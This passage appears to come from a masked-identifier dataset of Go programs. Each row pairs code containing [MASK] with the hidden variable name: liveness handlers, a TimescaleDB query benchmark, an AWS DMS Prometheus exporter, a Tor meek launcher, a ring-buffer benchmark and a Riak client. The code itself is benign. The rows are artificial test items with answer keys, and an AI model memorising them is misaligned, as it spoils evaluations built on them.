manifest. func (cfg APIConfig) handleLiveness(w http.ResponseWriter, r *http.Request) { host, err := os.Hostname() if err != nil { host = ""unavailable"" } data := struct { Status string `json:""status,omitempty""` Build string `json:""build,omitempty""` Host string `json:""host,omitempty""` Pod string `json:""pod,omitempty""` PodIP string `json:""podIP,omitempty""` Node string `json:""node,omitempty""` Namespace string `json:""namespace,omitempty""` }{ Status: ""up"", Host: host, Pod: os.Getenv(""KUBERNETES_PODNAME""), PodIP: os.Getenv(""KUBERNETES_NAMESPACE_POD_IP""), Node: os.Getenv(""KUBERNETES_NODENAME""), Namespace: os.Getenv(""KUBERNETES_NAMESPACE""), } statusCode := http.StatusOK cfg.respond(w, statusCode, data) cfg.Log.Infow(""liveness"", ""statusCode"", statusCode, ""method"", r.Method, ""path"", r.URL.Path, ""remoteaddr"", r.RemoteAddr) } func (cfg APIConfig) respond(w http.ResponseWriter, statusCode int, data any) { jsonData, err := json.Marshal(data) if err != nil { w.WriteHeader(http.StatusInternalServerError) cfg.Log.Errorw(""respond"", ""ERROR"", fmt.Errorf(""json marshal: %w"", err)) return } w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(statusCode) if _, err := w.Write(jsonData); err != nil { cfg.Log.Errorw(""respond"", ""ERROR"", fmt.Errorf(""write output: %w"", err)) return } } ",router 58,"// timescaledb-parallel-query creates some query performance data for a batch package main import ( ""bufio"" ""flag"" ""fmt"" ""log"" ""os"" ""runtime"" ""strings"" ""sync"" ""time"" ""github.com/jhoelzel/pparallel-bench/internal/db"" ""github.com/jhoelzel/pparallel-bench/internal/resultaggregator"" ""github.com/jmoiron/sqlx"" _ ""github.com/lib/pq"" ) const ( binName = ""pparallel-bench"" version = ""0.1.0"" tabCharStr = ""\\t"" ) // Flag vars var ( postgresConnect string overrides []db.Overrideable schemaName string tableName string queryCmd string splitCharacter string fromFile string toJson string skipHeader bool headerLinesCnt int tokenSize int workers int batchSize int verbose bool showVersion bool ) // Parse args func init() { var dbName string flag.StringVar(&postgresConnect, ""connection"", ""host=localhost user=postgres sslmode=disable"", ""PostgreSQL connection url"") flag.StringVar(&dbName, ""db-name"", """", ""Database where the destination table exists"") flag.StringVar(&tableName, ""table"", ""cpu_usage"", ""Destination table for insertions"") flag.StringVar(&schemaName, ""schema"", ""public"", ""Destination table's schema"") flag.StringVar(&queryCmd, ""query"", ""SELECT time_bucket('1 minutes', ts) AS t, min(usage) AS min_cpu, max(usage) AS max_cpu,avg(usage) AS avg_cpu FROM %s WHERE host = $1 AND ts > $2 AND ts < $3 GROUP BY t ORDER BY t DESC;"", ""The query executed against the db. %s will be replaced by shema.tale"") flag.StringVar(&splitCharacter, ""split"", "","", ""Character to split by"") flag.StringVar(&fromFile, ""file"", """", ""File to read from rather than stdin"") flag.StringVar(&toJson, ""toJson"", """", ""return output to a JSON file"") flag.BoolVar(&skipHeader, ""skip-header"", false, ""Skip the first line of the input"") flag.IntVar(&headerLinesCnt, ""header-line-count"", 1, ""Number of header lines"") flag.IntVar(&tokenSize, ""token-size"", bufio.MaxScanTokenSize, ""Maximum size to use for tokens. By default, this is 64KB, so any value less than that will be ignored"") flag.IntVar(&batchSize, ""batch-size"", 50, ""Number of concurrent query executions of a worker"") flag.IntVar(&workers, ""workers"", 1, ""Number of parallel requests to make"") flag.BoolVar(&verbose, ""verbose"", false, ""Print more information about copying statistics"") flag.BoolVar(&showVersion, ""version"", false, ""Show the version of this tool"") flag.Parse() if dbName != """" { overrides = append(overrides, db.OverrideDBName(dbName)) } } //This program servers for performance benchmarking of queries. By giving you the possibility to define workers and batches parallel execution and more is possible func main() { showTheVersion() scanner, file := prepareScanner() if headerLinesCnt <= 0 { fmt.Printf(""WARNING: provided --header-line-count (%d) must be greater than 0\n"", headerLinesCnt) os.Exit(1) } if tokenSize != 0 && tokenSize < bufio.MaxScanTokenSize { fmt.Printf(""WARNING: provided --token-size (%d) is smaller than default (%d), ignoring\n"", tokenSize, bufio.MaxScanTokenSize) } else if tokenSize > bufio.MaxScanTokenSize { buf := make([]byte, tokenSize) scanner.Buffer(buf, tokenSize) } //pepare buffered channels var wg sync.WaitGroup batchChan := make(chan []string, workers) resultChan := make(chan []resultaggregator.IdentifiedResults, workers) //initialize the resultaggregator fullTableName := fmt.Sprintf(`""%s"".""%s""`, schemaName, tableName) queryResult := resultaggregator.NewQueryResult(fullTableName, queryCmd) // Generate workers for i := 0; i < workers; i++ { wg.Add(1) go processBatches(queryResult.QueryCmd, &wg, batchChan, resultChan) } //scan the input start := time.Now() rowsRead := scan(batchSize, scanner, batchChan) timeSpentScanning := time.Since(start) //when reading from file we need to close the file once its no longer used if file != nil { file.Close() } // after scanning all the workers have been dispatched so we can close the channel close(batchChan) wg.Wait() //now that all processing is done we will evaluate the results and also close resultchan close(resultChan) [MASK] := time.Now() readResults(resultChan, &queryResult) //and return the performance metrics queryResult.TimeSpentReading = time.Since( [MASK] ) queryResult.TimeSpentScanning = timeSpentScanning queryResult.TimeSpentTotal = time.Since(start) queryResult.RowsRead = rowsRead queryResult.ProcessingComplete(verbose, workers) //write json output if toJson != """" { queryResult.ToJsonfile(toJson) } } //showTheVersion returns the verison number GOOS and GOARCH func showTheVersion() { if showVersion { fmt.Printf(""%s %s (%s %s)\n"", binName, version, runtime.GOOS, runtime.GOARCH) os.Exit(0) } } //readResults reads the results from the return channel and aggregates them with the resultaggregator func readResults(resultChan chan []resultaggregator.IdentifiedResults, queryResult *resultaggregator.QueryResults) { for cRess := range resultChan { for _, cRes := range cRess { queryResult.AddResults(cRes) } } } //prepareScanner takes a csv file either from stdin or file and returns it //the file is only returned so it can be close after scanning instead of much to early //the alternative is to read everything into ram directly and return that, but that is actually more memory than we need func prepareScanner() (*bufio.Scanner, *os.File) { var scanner *bufio.Scanner if len(fromFile) > 0 { file, err := os.Open(fromFile) if err != nil { log.Fatal(err) } scanner = bufio.NewScanner(file) return scanner, file } else { stat, _ := os.Stdin.Stat() if (stat.Mode() & os.ModeCharDevice) == 0 { fmt.Println(""data is being piped to stdin"") } else { log.Fatal(""there seems to be no stdin data or input from --file aborting."") } scanner = bufio.NewScanner(os.Stdin) } return scanner, nil } //scan reads lines from a bufio.Scanner, each which should be in CSV format //if a itemsPerBatch is provided the batch will be cut into smaller pieces func scan(itemsPerBatch int, scanner *bufio.Scanner, batchChan chan []string) int64 { rows := make([]string, 0, itemsPerBatch) var linesRead int64 if skipHeader { skipCsvHeader(scanner) } for scanner.Scan() { rows = append(rows, scanner.Text()) if len(rows) >= itemsPerBatch { // dispatch to COPY worker & reset batchChan <- rows rows = make([]string, 0, itemsPerBatch) } linesRead++ } if err := scanner.Err(); err != nil { log.Fatalf(""Error reading input: %s"", err.Error()) } // Finished reading input, make sure last batch goes out. if len(rows) > 0 { batchChan <- rows } return linesRead } //skipCsvHeader is skipping the first line of csv input because it contains headers that are not needed func skipCsvHeader(scanner *bufio.Scanner) { if verbose { fmt.Printf(""Skipping the first %d lines of the input.\n"", headerLinesCnt) } for i := 0; i < headerLinesCnt; i++ { scanner.Scan() } } // processBatches reads batches from channel c and returns worked on batches to main thread func processBatches(queryCmd string, wg *sync.WaitGroup, c chan []string, r chan []resultaggregator.IdentifiedResults) { dbx, err := db.Connect(postgresConnect, overrides...) if err != nil { //not being able to connecto the database is worth a panic fmt.Print(""Unable to connect to the db "") panic(err) } defer dbx.Close() delimStr := ""'"" + splitCharacter + ""'"" useSplitChar := splitCharacter if splitCharacter == tabCharStr { delimStr = ""E"" + delimStr // Need to covert the string-ified version of the character to actual // character for correct split useSplitChar = ""\t"" } var container []resultaggregator.IdentifiedResults for batch := range c { start := time.Now() batchresult, err := processBatch2(dbx, batch, queryCmd, useSplitChar) if err != nil { panic(err) } container = append(container, batchresult...) if verbose { took := time.Since(start) fmt.Printf(""[BATCH] took %v, batch size %d, row rate %f/sec\n"", took, batchSize, float64(batchSize)/float64(took.Seconds())) } } r <- container defer wg.Done() } //prepareIdentifiedResult will create the holder object and split the csv input line into an interface array for execution in the db func prepareIdentifiedResult(line string, splitChar string) (resultaggregator.IdentifiedResults, []interface{}) { sp := strings.Split(line, splitChar) args := make([]interface{}, len(sp)) for i, v := range sp { args[i] = v } holder := resultaggregator.IdentifiedResults{ Identificator: fmt.Sprint(args[0]), //we allways assume the first val in the where clause to be the identificator ExecutionTime: 0, RetrievalTime: 0, } return holder, args } //processBatch executes the queries for the batch as a prepared statement and returns the objects back to the caller func processBatch2(db *sqlx.DB, batch []string, queryCmd, splitChar string) ([]resultaggregator.IdentifiedResults, error) { stmt, err := db.Prepare(queryCmd) if err != nil { return nil, err } batchresult := []resultaggregator.IdentifiedResults{} for _, line := range batch { holder, args := prepareIdentifiedResult(line, splitChar) //execute the query queryStart := time.Now() rows, err := stmt.Query(args...) holder.ExecutionTime = time.Since(queryStart) if err != nil { fmt.Fprintf(os.Stderr, ""Unable to execute query %v\n"", err) fmt.Fprintf(os.Stderr, ""for Query \""%s\""\n"", queryCmd) fmt.Fprintf(os.Stderr, ""with parameter %v\n"", args) //TODO: this error could be caught better for now we will ignore it continue } retirievalStart := time.Now() cols, _ := rows.Columns() for rows.Next() { //so we can scan the rows with automatic parameter adjustment columns, columnPointers := prePareColPointers(cols) err = rows.Scan(columnPointers...) if err != nil { fmt.Fprintf(os.Stderr, ""Unable to scan %v\n"", err) fmt.Fprintf(os.Stderr, ""with parameter %v\n"", args) //TODO: this error could be caught better for now we will ignore it continue } colval := getColVal(cols, columns) holder.Results = append(holder.Results, colval) } holder.RetrievalTime = time.Since(retirievalStart) if err = rows.Err(); err != nil { fmt.Fprintf(os.Stderr, ""Unable to get query results of query %v\n"", err) } if err != nil { return nil, err } batchresult = append(batchresult, holder) rows.Close() } err = stmt.Close() if err != nil { fmt.Fprintf(os.Stderr, ""Unable to close the db connection %v\n"", err) return nil, err } return batchresult, nil } //prePareColPointers prepares the arguments for row.scan in order to fetch data without structure func prePareColPointers(cols []string) ([]string, []interface{}) { //we create an array of columlength columns := make([]string, len(cols)) //and and []interface to catch it columnPointers := make([]interface{}, len(cols)) for i := range columns { columnPointers[i] = &columns[i] } return columns, columnPointers } //getColVal extracts the values of the current row scanned into a string map func getColVal(cols []string, columns []string) map[string]string { colval := make(map[string]string) for i, colName := range cols { colval[colName] = columns[i] } return colval } ",readStart 59,"package main import ( ""fmt"" ""net/http"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/session"" dms ""github.com/aws/aws-sdk-go/service/databasemigrationservice"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ""github.com/sirupsen/logrus"" ""github.com/spf13/viper"" ) var ( MetricName = ""task_stats"" MetricNamespace = ""dms"" MetricHelpMessage = ""Gauge for dms tasks statistics"" MetricLabels = []string{""region"", ""identifier"", ""schema"", ""table"", ""action""} ) type collector struct { sess *session.Session dmsService *dms.DatabaseMigrationService } type DmsReplicationTask struct { arn *string identifier *string } type DmsTaskStat struct { schemaName *string tableName *string inserts *int64 deletes *int64 updates *int64 } func init() { viper.SetDefault(""AWS_ACCESS_KEY_ID"", """") // must be set viper.SetDefault(""AWS_SECRET_ACCESS_KEY"", """") // must be set viper.SetDefault(""HOST"", ""0.0.0.0"") viper.SetDefault(""PORT"", ""8080"") viper.SetDefault(""AWS_REGION"", ""ap-southeast-1"") } func main() { viper.AutomaticEnv() // Registers new collector to prometheus dmsCollector, err := NewCollector() if err != nil { panic(err) } prometheus.MustRegister(dmsCollector) // Creates new http handler http.Handle(""/metrics"", promhttp.Handler()) [MASK] := fmt.Sprintf(""%s:%s"", viper.Get(""HOST""), viper.Get(""PORT"")) logrus.Info(""Starting to listen "", [MASK] ) logrus.Fatal(http.ListenAndServe( [MASK] , nil)) } func NewCollector() (prometheus.Collector, error) { region := viper.GetString(""AWS_REGION"") sess, err := session.NewSession(&aws.Config{Region: ®ion}) if err != nil { logrus.Fatal(""Failed to create new aws session "", err.Error()) return nil, err } dmsService := dms.New(sess) return &collector{sess, dmsService}, nil } func (c *collector) Collect(ch chan<- prometheus.Metric) { gauge := prometheus.NewGaugeVec(prometheus.GaugeOpts{ Name: MetricName, Namespace: MetricNamespace, Help: MetricHelpMessage, }, MetricLabels) c.fetch(gauge) gauge.Collect(ch) } func (c *collector) Describe(ch chan<- *prometheus.Desc) { ch <- prometheus.NewDesc( prometheus.BuildFQName(MetricNamespace, """", MetricName), MetricHelpMessage, MetricLabels, nil, ) } func (c *collector) fetch(gauge *prometheus.GaugeVec) { tasks, err := c.getDmsReplicationList() if err != nil { return } for _, task := range tasks { stats, err := c.getTableStatistics(task) if err != nil { continue } for _, stat := range stats { gauge.WithLabelValues(viper.GetString(""AWS_REGION""), *task.identifier, *stat.schemaName, *stat.tableName, ""insert"").Set(float64(*stat.inserts)) gauge.WithLabelValues(viper.GetString(""AWS_REGION""), *task.identifier, *stat.schemaName, *stat.tableName, ""delete"").Set(float64(*stat.deletes)) gauge.WithLabelValues(viper.GetString(""AWS_REGION""), *task.identifier, *stat.schemaName, *stat.tableName, ""update"").Set(float64(*stat.updates)) } } } func (c *collector) getDmsReplicationList() ([]DmsReplicationTask, error) { var result []DmsReplicationTask withoutSettings := true var marker *string = nil for { output, err := c.dmsService.DescribeReplicationTasks(&dms.DescribeReplicationTasksInput{ Marker: marker, WithoutSettings: &withoutSettings, }) if err != nil { logrus.Fatal(""Failed to get dms replication tasks, "", err.Error()) return result, err } for _, task := range output.ReplicationTasks { result = append(result, DmsReplicationTask{ arn: task.ReplicationTaskArn, identifier: task.ReplicationTaskIdentifier, }) } if output.Marker == nil { break } else { marker = output.Marker } } return result, nil } func (c *collector) getTableStatistics(task DmsReplicationTask) ([]DmsTaskStat, error) { var result []DmsTaskStat var marker *string = nil for { output, err := c.dmsService.DescribeTableStatistics(&dms.DescribeTableStatisticsInput{ Marker: marker, ReplicationTaskArn: task.arn, }) if err != nil { logrus.Fatal(""Failed to get table statistics, "", err.Error()) return result, err } for _, stat := range output.TableStatistics { result = append(result, DmsTaskStat{ schemaName: stat.SchemaName, tableName: stat.TableName, inserts: stat.Inserts, deletes: stat.Deletes, updates: stat.Updates, }) } if output.Marker == nil { break } else { marker = output.Marker } } return result, nil } ",addr 60,"/* Copyright SecureKey Technologies Inc. All Rights Reserved. SPDX-License-Identifier: Apache-2.0 */ package common import ( ""fmt"" ""net/http"" ""github.com/hyperledger/aries-framework-go/pkg/doc/ld"" ""github.com/hyperledger/aries-framework-go/pkg/doc/ldcontext/remote"" ldstore ""github.com/hyperledger/aries-framework-go/pkg/store/ld"" ""github.com/hyperledger/aries-framework-go/spi/storage"" jsonld ""github.com/piprate/json-gold/ld"" ""github.com/trustbloc/edge-core/pkg/log"" ) const ( // LogLevelFlagName is the flag name used for setting the default log level. LogLevelFlagName = ""log-level"" // LogLevelEnvKey is the env var name used for setting the default log level. LogLevelEnvKey = ""LOG_LEVEL"" // LogLevelFlagShorthand is the shorthand flag name used for setting the default log level. LogLevelFlagShorthand = ""l"" // LogLevelPrefixFlagUsage is the usage text for the log level flag. LogLevelPrefixFlagUsage = ""Logging level to set. Supported options: CRITICAL, ERROR, WARNING, INFO, DEBUG."" + `Defaults to info if not set. Setting to debug may adversely impact performance. Alternatively, this can be ` + ""set with the following environment variable: "" + LogLevelEnvKey ) // SetDefaultLogLevel sets the default log level. func SetDefaultLogLevel(logger log.Logger, userLogLevel string) { [MASK] , err := log.ParseLevel(userLogLevel) if err != nil { logger.Warnf(`%s is not a valid logging level. It must be one of the following: `+ log.ParseString(log.CRITICAL)+"", ""+ log.ParseString(log.ERROR)+"", ""+ log.ParseString(log.WARNING)+"", ""+ log.ParseString(log.INFO)+"", ""+ log.ParseString(log.DEBUG)+"". Defaulting to info."", userLogLevel) [MASK] = log.INFO } else if [MASK] == log.DEBUG { logger.Infof(`Log level set to ""debug"". Performance may be adversely impacted.`) } log.SetLevel("""", [MASK] ) } // LDStoreProvider provides stores for JSON-LD contexts and remote providers. type LDStoreProvider struct { ContextStore ldstore.ContextStore RemoteProviderStore ldstore.RemoteProviderStore } // JSONLDContextStore returns a JSON-LD context store. func (p *LDStoreProvider) JSONLDContextStore() ldstore.ContextStore { //nolint:ireturn return p.ContextStore } // JSONLDRemoteProviderStore returns a JSON-LD remote provider store. func (p *LDStoreProvider) JSONLDRemoteProviderStore() ldstore.RemoteProviderStore { //nolint:ireturn return p.RemoteProviderStore } // CreateLDStoreProvider creates a new LDStoreProvider. func CreateLDStoreProvider(storageProvider storage.Provider) (*LDStoreProvider, error) { contextStore, err := ldstore.NewContextStore(storageProvider) if err != nil { return nil, fmt.Errorf(""create JSON-LD context store: %w"", err) } remoteProviderStore, err := ldstore.NewRemoteProviderStore(storageProvider) if err != nil { return nil, fmt.Errorf(""create remote provider store: %w"", err) } return &LDStoreProvider{ ContextStore: contextStore, RemoteProviderStore: remoteProviderStore, }, nil } type ldStoreProvider interface { JSONLDContextStore() ldstore.ContextStore JSONLDRemoteProviderStore() ldstore.RemoteProviderStore } type httpClient interface { Do(req *http.Request) (*http.Response, error) } // CreateJSONLDDocumentLoader creates a new JSON-LD document loader. // nolint:ireturn func CreateJSONLDDocumentLoader(ldStore ldStoreProvider, client httpClient, providerURLs []string, ) (jsonld.DocumentLoader, error) { var loaderOpts []ld.DocumentLoaderOpts for _, u := range providerURLs { loaderOpts = append(loaderOpts, ld.WithRemoteProvider( remote.NewProvider(u, remote.WithHTTPClient(client)), ), ) } loader, err := ld.NewDocumentLoader(ldStore, loaderOpts...) if err != nil { return nil, fmt.Errorf(""new document loader: %w"", err) } return loader, nil } ",logLevel 61,"// meek-client-torbrowser is an auxiliary program that helps with connecting // meek-client to meek-http-helper running in Tor Browser. // // Sample usage in torrc (exact paths depend on platform): // ClientTransportPlugin meek exec ./meek-client-torbrowser --log meek-client-torbrowser.log -- ./meek-client --url=https://meek-reflect.appspot.com/ --front=www.google.com --log meek-client.log // Everything up to ""--"" is options for this program. Everything following it is // a meek-client command line. The command line for running firefox is implicit // and hardcoded in this program. // // This program, meek-client-torbrowser, starts a copy of firefox under the // meek-http-helper profile, which must have configured the meek-http-helper // extension. This program reads the stdout of firefox, looking for a special // line with the listening port number of the extension, one that looks like // ""meek-http-helper: listen
"". The meek-client command is then // executed as given, except that a --helper option is added that points to the // port number read from firefox. // // This program proxies stdin and stdout to and from meek-client, so it is // actually meek-client that drives the pluggable transport negotiation with // tor. package main import ( ""bufio"" ""bytes"" ""flag"" ""fmt"" ""io"" ""io/ioutil"" ""log"" ""os"" ""os/exec"" ""os/signal"" ""path/filepath"" ""regexp"" ""strings"" ""syscall"" ) // This magic string is emitted by meek-http-helper. var helperAddrPattern = regexp.MustCompile(`^meek-http-helper: listen (127\.0\.0\.1:\d+)$`) func usage() { fmt.Fprintf(os.Stderr, ""Usage: %s [meek-client-torbrowser args] -- meek-client [meek-client args]\n"", os.Args[0]) flag.PrintDefaults() } // Log a call to os.Process.Kill. func logKill(p *os.Process) error { log.Printf(""killing PID %d"", p.Pid) err := p.Kill() if err != nil { log.Print(err) } return err } // Log a call to os.Process.Signal. func logSignal(p *os.Process, sig os.Signal) error { log.Printf(""sending signal %s to PID %d"", sig, p.Pid) err := p.Signal(sig) if err != nil { log.Print(err) } return err } func copyFile(srcPath string, mode os.FileMode, destPath string) error { inFile, err := os.Open(srcPath) if err != nil { return err } defer inFile.Close() outFile, err := os.OpenFile(destPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, mode) if err != nil { return err } // Always close the destination file before returning. defer func() { closeErr := outFile.Close() if err == nil { err = closeErr } }() if _, err = io.Copy(outFile, inFile); err != nil { return err } err = outFile.Sync() return err } // Make sure that the browser profile exists. If profileTemplatePath is not // empty, the profile is created and maintained by making a recursive copy of // all the files and directories under profileTemplatePath. A safe copy is // done by first copying the profile files into a temporary directory and // then doing an atomic rename of the temporary directory as the last step. // To ensure that the profile is up-to-date with respect to the template // (e.g., after Tor Browser has been updated), the contents of the file // meek-template-sha256sum.txt within the profile are compared with the // corresponding template file; if they differ, the profile is deleted and // recreated. func prepareBrowserProfile(profilePath string) error { _, err := os.Stat(profilePath) profileExists := err == nil || os.IsExist(err) // If profileTemplatePath is not set, we are running on a platform that // expects the profile to already exist. if profileTemplatePath == """" { if profileExists { return nil } return err } if profileExists { if isBrowserProfileUpToDate(profileTemplatePath, profilePath) { return nil } // Remove outdated meek helper profile. log.Printf(""removing outdated profile at %s\n"", profilePath) err = os.RemoveAll(profilePath) if err != nil { return err } } log.Printf(""creating profile by copying files from %s to %s\n"", profileTemplatePath, profilePath) profileParentPath := filepath.Dir(profilePath) err = os.MkdirAll(profileParentPath, os.ModePerm) if err != nil { return err } tmpPath, err := ioutil.TempDir(profileParentPath, ""tmpMeekProfile"") if err != nil { return err } err = os.MkdirAll(tmpPath, os.ModePerm) if err != nil { return err } // Remove the temporary directory before returning. defer func() { os.RemoveAll(tmpPath) }() templatePath, err := filepath.Abs(profileTemplatePath) if err != nil { return err } visit := func(path string, info os.FileInfo, err error) error { relativePath := strings.TrimPrefix(path, templatePath) if relativePath == """" { return nil // skip the root directory } // If relativePath is a directory, create it; if it is a file, copy it. destPath := filepath.Join(tmpPath, relativePath) if info.IsDir() { err = os.MkdirAll(destPath, info.Mode()) } else { err = copyFile(path, info.Mode(), destPath) } return err } err = filepath.Walk(templatePath, visit) if err != nil { return err } return os.Rename(tmpPath, profilePath) } // Return true if the profile is up-to-date with the template. func isBrowserProfileUpToDate(templatePath string, profilePath string) bool { checksumFileName := ""meek-template-sha256sum.txt"" templateChecksumPath := filepath.Join(templatePath, checksumFileName) templateData, err := ioutil.ReadFile(templateChecksumPath) if err != nil { return false } profileChecksumPath := filepath.Join(profilePath, checksumFileName) profileData, err := ioutil.ReadFile(profileChecksumPath) if err != nil { return false } return bytes.Equal(templateData, profileData) } // Run firefox and return its exec.Cmd and stdout pipe. func runFirefox() (cmd *exec.Cmd, stdout io.Reader, err error) { // Mac OS X needs absolute paths for firefox and for the profile. var absFirefoxPath string absFirefoxPath, err = filepath.Abs(firefoxPath) if err != nil { return } var profilePath string var torDataDir = os.Getenv(""TOR_BROWSER_TOR_DATA_DIR"") if torDataDir != """" && torDataDirFirefoxProfilePath != """" { profilePath = filepath.Join(torDataDir, torDataDirFirefoxProfilePath) } else { profilePath, err = filepath.Abs(firefoxProfilePath) if err != nil { return } } err = prepareBrowserProfile(profilePath) if err != nil { return } cmd = exec.Command(absFirefoxPath, ""--invisible"", ""-no-remote"", ""-profile"", profilePath) osSpecificCommandSetup(cmd) cmd.Stderr = os.Stderr stdout, err = cmd.StdoutPipe() if err != nil { return } log.Printf(""running firefox command %q"", cmd.Args) err = cmd.Start() if err != nil { return } log.Printf(""firefox started with pid %d"", cmd.Process.Pid) return cmd, stdout, nil } // Look for the magic meek-http-helper address string in the Reader, and return // the address it contains. Start a goroutine to continue reading and discarding // output of the Reader before returning. func grepHelperAddr(r io.Reader) (string, error) { var helperAddr string scanner := bufio.NewScanner(r) for scanner.Scan() { line := scanner.Text() if m := helperAddrPattern.FindStringSubmatch(line); m != nil { helperAddr = m[1] break } } err := scanner.Err() if err != nil { return """", err } // Ran out of input before finding the pattern. if helperAddr == """" { return """", io.EOF } // Keep reading from the browser to avoid its output buffer filling. go io.Copy(ioutil.Discard, r) return helperAddr, nil } // Run meek-client and return its exec.Cmd. func runMeekClient(helperAddr string, meekClientCommandLine []string) (cmd *exec.Cmd, err error) { [MASK] := meekClientCommandLine[0] args := meekClientCommandLine[1:] args = append(args, []string{""--helper"", helperAddr}...) cmd = exec.Command( [MASK] , args...) cmd.Stdout = os.Stdout cmd.Stderr = os.Stderr log.Printf(""running meek-client command %q"", cmd.Args) err = cmd.Start() if err != nil { return } log.Printf(""meek-client started with pid %d"", cmd.Process.Pid) return cmd, nil } func main() { var logFilename string flag.Usage = usage flag.StringVar(&logFilename, ""log"", """", ""name of log file"") flag.Parse() log.SetFlags(log.LstdFlags | log.LUTC) if logFilename != """" { f, err := os.OpenFile(logFilename, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) if err != nil { log.Fatal(err) } defer f.Close() log.SetOutput(f) } // By default, writes to file descriptor 1 and 2 when the descriptor has // been closed will terminate the program with a SIGPIPE signal. This is // a problem because the default log destination is stderr (file // descriptor 2). When the parent process (tor) terminates and closes // its stderr, any attempt to log will cause us to die, before we can do // our own cleanup. Therefore ignore SIGPIPE, causing writes to a closed // stderr to return syscall.EPIPE rather than terminate. // https://golang.org/pkg/os/signal/#hdr-SIGPIPE // https://bugs.torproject.org/20030#comment:6 signal.Notify(make(chan os.Signal, 1), syscall.SIGPIPE) sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, syscall.SIGTERM) // Unset environment variables that Firefox sets after a restart (as // caused by, for example, an update or the installation of an add-on). // XRE_PROFILE_PATH, in particular, overrides the -profile option that // runFirefox sets, causing Firefox to run with profile.default instead // of profile.meek-http-helper, which conflicts with the profile.default // that is already running. See https://bugs.torproject.org/13247, // particularly #comment:17 and #comment:18. The environment variable // names come from // https://hg.mozilla.org/mozilla-central/file/cfde3603b020/toolkit/xre/nsAppRunner.cpp#l3941 var firefoxRestartEnvVars = []string{ ""XRE_PROFILE_PATH"", ""XRE_PROFILE_LOCAL_PATH"", ""XRE_PROFILE_NAME"", ""XRE_START_OFFLINE"", ""NO_EM_RESTART"", ""XUL_APP_FILE"", ""XRE_BINARY_PATH"", } for _, varname := range firefoxRestartEnvVars { err := os.Unsetenv(varname) if err != nil { log.Fatal(err) } } // Start firefox. firefoxCmd, stdout, err := runFirefox() if err != nil { log.Print(err) return } defer logKill(firefoxCmd.Process) // Find out the helper's listening address. helperAddr, err := grepHelperAddr(stdout) if err != nil { log.Print(err) return } // Start meek-client with the helper address. meekClientCmd, err := runMeekClient(helperAddr, flag.Args()) if err != nil { log.Print(err) return } defer logKill(meekClientCmd.Process) if os.Getenv(""TOR_PT_EXIT_ON_STDIN_CLOSE"") == ""1"" { // This environment variable means we should treat EOF on stdin // just like SIGTERM: https://bugs.torproject.org/15435. go func() { io.Copy(ioutil.Discard, os.Stdin) log.Printf(""synthesizing SIGTERM because of stdin close"") sigChan <- syscall.SIGTERM }() } sig := <-sigChan log.Printf(""sig %s"", sig) err = logSignal(meekClientCmd.Process, sig) if err != nil { log.Print(err) } // If SIGINT, wait for a second SIGINT. if sig == syscall.SIGINT { sig := <-sigChan log.Printf(""sig %s"", sig) err = logSignal(meekClientCmd.Process, sig) if err != nil { log.Print(err) } } } ",meekClientPath 62,"package ring_buffer_go import ( ""fmt"" ""sync"" ""testing"" ""time"" ) func producer(buffer LockingRingBufferInterface, iterations int, data []byte, wg *sync.WaitGroup, totalBytes *int) { defer wg.Done() for i := 0; i < iterations; i++ { n, err := buffer.Write(data) if err != nil { continue } *totalBytes += n } } func consumer(buffer LockingRingBufferInterface, iterations int, dataSize int, wg *sync.WaitGroup, totalBytes *int) { defer wg.Done() p := make([]byte, dataSize) for i := 0; i < iterations; i++ { n, err := buffer.ReadAt(p, uint64(i*dataSize)) if err != nil { continue } *totalBytes += n } } func benchmarkLockingRingBuffer(buffer LockingRingBufferInterface, iterations int, dataSize int) { var wg sync.WaitGroup data := make([]byte, dataSize) start := time.Now() var bytesWritten, [MASK] int wg.Add(2) go producer(buffer, iterations, data, &wg, &bytesWritten) go consumer(buffer, iterations, dataSize, &wg, & [MASK] ) wg.Wait() elapsed := time.Since(start) throughput := float64(iterations) / elapsed.Seconds() writeGB := float64(bytesWritten) / (1 << 30) readGB := float64( [MASK] ) / (1 << 30) writeGBPs := writeGB / elapsed.Seconds() readGBPs := readGB / elapsed.Seconds() fmt.Printf(""Throughput: %.2f operations/sec\n"", throughput) fmt.Printf(""Write: %.2f GB/sec\n"", writeGBPs) fmt.Printf(""Read: %.2f GB/sec\n"", readGBPs) } func BenchmarkLockingRingBuffer(b *testing.B) { iterations := b.N const dataSize = 1024 const bufferSize = 1 << 30 buffer := NewLockingRingBuffer(bufferSize, 0) // Benchmark the ring buffer benchmarkLockingRingBuffer(buffer, iterations, dataSize) } ",bytesRead 63,"package main import ( ""C"" ""errors"" ""fmt"" ""log"" ""os"" riak ""github.com/basho/riak-go-client"" ) var slog = log.New(os.Stdout, """", log.LstdFlags) var elog = log.New(os.Stderr, """", log.LstdFlags) func LogInfo(source, format string, v ...interface{}) { slog.Printf(fmt.Sprintf(""[INFO] %s %s"", source, format), v...) } func LogDebug(source, format string, v ...interface{}) { slog.Printf(fmt.Sprintf(""[DEBUG] %s %s"", source, format), v...) } func LogError(source, format string, v ...interface{}) { elog.Printf(fmt.Sprintf(""[DEBUG] %s %s"", source, format), v...) } func LogErr(source string, err error) { elog.Println(""[ERROR]"", source, err) } func ErrExit(err error) { LogErr(""[APP]"", err) os.Exit(1) } var cluster *riak.Cluster //export RiakClusterStart func RiakClusterStart() { var err error var node *riak.Node nodeOpts := &riak.NodeOptions{ RemoteAddress: ""127.0.0.1:10017"", } node, err = riak.NewNode(nodeOpts) if err != nil { ErrExit(err) } if node == nil { ErrExit(errors.New(""node was nil"")) } nodes := []*riak.Node{node} opts := &riak.ClusterOptions{ Nodes: nodes, } cluster, err = riak.NewCluster(opts) if err != nil { ErrExit(err) } if err = cluster.Start(); err != nil { ErrExit(err) } } //export RiakClusterStop func RiakClusterStop() { if cluster != nil { if err := cluster.Stop(); err != nil { ErrExit(err) } } } //export RiakClusterPing func RiakClusterPing() { cmd := &riak.PingCommand{} if err := cluster.Execute(cmd); err != nil { ErrExit(err) } fmt.Printf(""PingCommand success: %v\n"", cmd.Success()) } //export RiakClusterGet func RiakClusterGet(btype, bucket, key string) *C.char { var err error var cmd riak.Command [MASK] := riak.NewFetchValueCommandBuilder() cmd, err = 